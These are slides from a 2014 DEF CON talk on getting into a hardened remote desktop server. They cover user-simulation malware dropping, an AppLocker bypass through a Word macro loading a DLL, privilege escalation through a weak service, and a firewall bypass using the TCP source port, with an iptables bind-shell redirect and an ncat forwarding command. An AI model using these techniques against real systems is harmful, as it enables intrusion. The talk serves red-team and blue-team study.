Bypass firewalls, application white lists, secure remote desktops in 20 seconds

Zoltan Balazs

MRG Effitas

Efficacy Assessment & Assurance

DEF CON 22, 2014
root@kali:~# whoami

Zoltán Balázs
root@kali:~ # whoami
root@kali:~# whoami

AV testing
AV bypass
root@kali:~# whoami

OSCP: Occasional Satire Captain Punk
CISSP: Certified Interspecie-ial Sheep Shearing Professional
CPTS: Certified Pajama Toaster Specialist
MCP: Microsoft Certified Psychopath
OSWP: Official Sexiest Weasel Popstar
CHFI: Chronic Hopeless Flux Incompetent

I’m NOT a CEH

CyberLympics@2012 CTF
   2nd runners up – gula.sh

Creator of the Zombie Browser Toolkit
   https://github.com/Z6543/ZombieBrowserPack
Hungary
I love hacking
How do you hack high security systems?
How do you hack high security systems when you are not Tom Cruise?
The mission

I’m a spy (with low budget)
I want access to a hardened secure RDP (remote desktop) server
  E.g. server contains confidential documents
I need persistent C&C access to the RDP server
  To upload/download files
  Interactive remote code execution
The solution (in an ideal world)

1. Infect client’s desktop
2. Steal RDP password
3. Connect to RDP
4. Drop malware
5. Command and Control
6. Profit
The challenges

RDP server is not reachable from the Internet
   Directly …
Two factor authentication is used to access the RDP server
   No access to the token seeds ;)
Drive mapping disabled – no direct file copy
Restrictive hardware firewall
   Allows workstation -> server TCP port 3389 IPv4 only
Application white list is used on the RDP server
   M$ Applocker in my case with default policy
Is this realistic?

Similar environment at a client
  • Had no time to hack it
SCREW YOU GUYS
I'M GOING HOME, HAVE TO CODE
“In hacking, there is no such thing as impossible.

Only things that are more challenging.”
Already achieved

I have remote code execution with C&C on a user’s workstation

I have access to a test RDP server
  I know how the files on the server look like, what services are installed

This is Sparta post-exploitation
Why should you care about this?

**Red team/pentester**
- New tools

**Blue team**
- New things to look for during log analysis/incident response

**Policy maker/business**
- Funny pictures
Divide et impera!

Divide the problem into smaller pieces and rule them all, one by one

1. drop malware into the RDP server
2. execute any code on RDP server
3. elevate to admin privileges
4. bypass hardware firewall
Divide et impera!

Divide the problem into smaller pieces and rule them all, one by one

1. drop malware into the RDP server → new shiny tool
2. execute any code on RDP server → nothing new here
3. elevate to admin privileges → nothing new, no 0day for you
4. bypass hardware firewall → new shiny tool
1. Drop malware into RDP server

IT'S SHOWTIME
1. Drop malware into RDP server

Malware waits for the user to connect to RDP server
Creates screenshot (or new animation), show in foreground
Optionally blocks user keyboard, mouse ~20 seconds
Uses the keyboard and the clipboard – simulates user
1. Starts M$ Word on RDP server
2. Drops encoded ASCII payload
3. Creates Macro code
4. Macro writes binary
5. Macro starts binaries
Alternative usage of “user simulator”

1. Add directory to be excluded from AV scans
   use the AV GUI!
   only if the user has the privileges and no UAC

2. Install new trusted root certification authority and
   accept warning – and MiTM SSL connections
   CA pinning does not stop
   this attack

   The AV is alive.
   Nope, Chuck Testa™
2. What is Applocker?
2. Execute any code, bypass Applocker

“AppLocker can only control VBScript, JScript, .bat files, .cmd files and Windows PowerShell scripts. It does not control all interpreted code that runs within a host process, for example Perl scripts and macros.

Applications could contain flags that are passed to functions that signal AppLocker to circumvent the rules and allow another .exe or .dll file to be loaded.

The administrator on the local computer can modify the AppLocker policies defined in the local GPO.”
Execute any code, bypass Applocker

Load DLL with Word Macro!
Even shellcode execution is possible!

http://blog.didierstevens.com/2008/06/05/bpmtk-how-about-srp-whitelists/

Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
hLibrary = LoadLibrary(outputdir + "\hack_service.dll")
3. Elevate to admin
3. Elevate to admin

Why do I need admin?

• It is needed for the last phase, hardware firewall bypass

Possibilities

• Local priv esc zero day for Win 2012
• Exploit unpatched vulnerability
• Exploit vulnerable 3\textsuperscript{rd} party program service
• Etc.

Processes started with admin (or higher) privileges are not restricted by AppLocker!
Elevate to admin - Service exploit

C: \> accesschk.exe –l mvulnservice.exe

[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\TERMINAL SERVER USER
  FILE_APPEND_DATA
  FILE_EXECUTE
  FILE_READ_ATTRIBUTES
  FILE_READ_DATA
  FILE_READ_EA
  FILE_WRITE_ATTRIBUTES
  FILE_WRITE_DATA
  FILE_WRITE_EA
  SYNCHRONIZE
  READ_CONTROL
  READ_CONTROLs
C: \> sc sdshow mvulnservice

D:(A;;CCLCSWRPWPDTLOCRRC;::;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;::BA)(A;;CCLCSWLOCRRCRPWP;::IU)(A;;CCLCSWLOCRRC;::SU)
Elevate to admin - Service exploit

C:\> accesschk.exe -l mvulnservice.exe

[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\TERMINAL SERVER USER
   FILE_APPEND_DATA
   FILE_EXECUTE
   FILE_READ_ATTRIBUTES
   FILE_READ_DATA
   FILE_READ_EA
   FILE_WRITE_ATTRIBUTES
   FILE_WRITE_DATA
   FILE_WRITE_EA
   SYNCHRONIZE
   READ_CONTROL

C:\> sc sdshow myvulnservice

D:\(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;BA)(A;;CCLCSWLOCRRCRPWP;;IU)(A;;CCLCSWLOCRRC;;;SU)

Allow
Service start
Service stop
Interactively logged on user
Quiz
Quiz

What’s the name of the company which published the first paper about packet filter firewalls in 1988?
Quiz

What’s the name of the company which published the first paper about packet filter firewalls in 1988?

The company developed VAX
Quiz

What’s the name of the company which published the first paper about packet filter firewalls in 1988?

Digital Equipment Corporation
4. Bypass hardware firewall

Restrictive firewall
- No Bind shell
- No Reverse shell
- No covert channel
  - DNS, ICMP, IPv6, UDP, proxy
- No shell!!!

In a different scenario
- TCP socket reuse shell possible (not persistent)
- Webshell (lame) possible
- But not in this case (no exploit, no webserver)
4. Bypass hardware firewall

First (bad) idea
After malware dropped, mark every packet to be special
• start with magic bytes
and let a kernel network filter driver select the packets

Problem
• Every (hacker) application has to be rewritten, or rerouted through a custom wrapper proxy (both server and client side)
Bypass HW firewall – second idea

Use TCP source port!
  • E.g. port 1337 is always special

Limitations
  • NAT from the attacker side
    • But who cares? 😊
Bypassing hardware firewalls
Linux

Use code at Kernel level (with root)

if \(((\text{tcp}_\text{source}_\text{port} == 1337) \&\& (\text{tcp}_\text{dest}_\text{port} == 22))\) then:

    redirect to bind shell on port 31337

iptables \(\text{-t nat \text{-A PREROUTING \text{-p tcp \text{-dport 22 \text{-sport 1337 \text{-j REDIRECT \text{-to-ports 31337}}}}}}\)
Dumb stateful firewall inspecting the packets
Backdoor traffic inside RDP
Backdoor traffic separated from RDP traffic
Bypassing hardware firewalls on Windows x64

Installing a kernel driver in Windows x64 is not trivial
• Trusted signed driver is needed
Thanks to basil for WinDivert project (and Nemea Software Development)
• Trusted signed kernel driver already included!
• You can interface with the kernel driver

Alternatively, patchguard bypass could be used
http://www.codeproject.com/Articles/28318/Bypassing-PatchGuard
Uroburos rootkit – Bring Your Own Vuln
Install root CA first with user simulator ;}
How to set TCP source port for meterpreter bind shell (or any program)?

Netcat (Nmap build) to da rescue!

```
ncat -kl 4444 -c
"ncat -p 1337 RDP.SER.VER.IP 3389"
```
Demo

IT'S SHOWTIME
Alternative usage of “hw fw bypass”

You have admin on webserver
but persistent outbound C&C is blocked

Instead of local port forward, use netcat to port forward to other machines in the DMZ

Backdoor traffic to hide your communication inside the legit network traffic
The solution – as a whole

Malware waits for the user to login to RDP with 2FA
Create screenshot from user desktop
Put screenshot on the screen
Disable keyboard/mouse
Drop malware by simulating user keyboard events + clipboard for large (ASCII) data transfer
Start WORD, create new macro code
Bypass application whitelist using DLL loading from Word macro code
The solution

Escalate privileges to admin (vulnerable service)
Install hwfwbypass.exe with kernel driver
Drop meterpreter
Profit!
Target Company

Infected workstation

Firewall, port 3389 allowed only

Secure remote desktop server

The Internet

Attacker
IT'S SHOWTIME
Demo 2 – as seen by the user

IT'S SHOWTIME
Lessons learned for red team

You have two new tools for your post exploitation

• tool to drop malware into the remote desktop

• If you have admin on a Windows server, you can bypass/fool hardware firewalls using my driver
Lessons learned for the blue team

Every additional layer of security can still be bypassed
Restricted remote desktop is a real interface for malware infection
Use application/protocol aware (NG) firewall instead of port based ones
  Can be bypassed ;)
Don’t trust your firewall logs blindly
Code release now?
References

http://reqrypt.org/windivert.html
http://inputsimulator.codeplex.com/ - modified
http://www.room362.com/blog/2014/01/16/application-whitelist-bypass-using-ieexec-dot-exe
http://leastprivilege.blogspot.fr/2013/04/bypass-applocker-by-loading-dlls-from.html?m=1
one more thing …
two more things …

User simulator available as Metasploit post module
HW FW bypass available as Metasploit post module
Hack The Planet!

https://github.com/MRGEffitas/Write-into-screen

https://github.com/MRGEffitas/hwfwbypass

zoltan.balazs@mrg-effitas.com

https://hu.linkedin.com/in/zbalazs

Twitter – @zh4ck

www.slideshare.net/bz98

Greetz to @hekkcamp

JumpESPJump.blogspot.com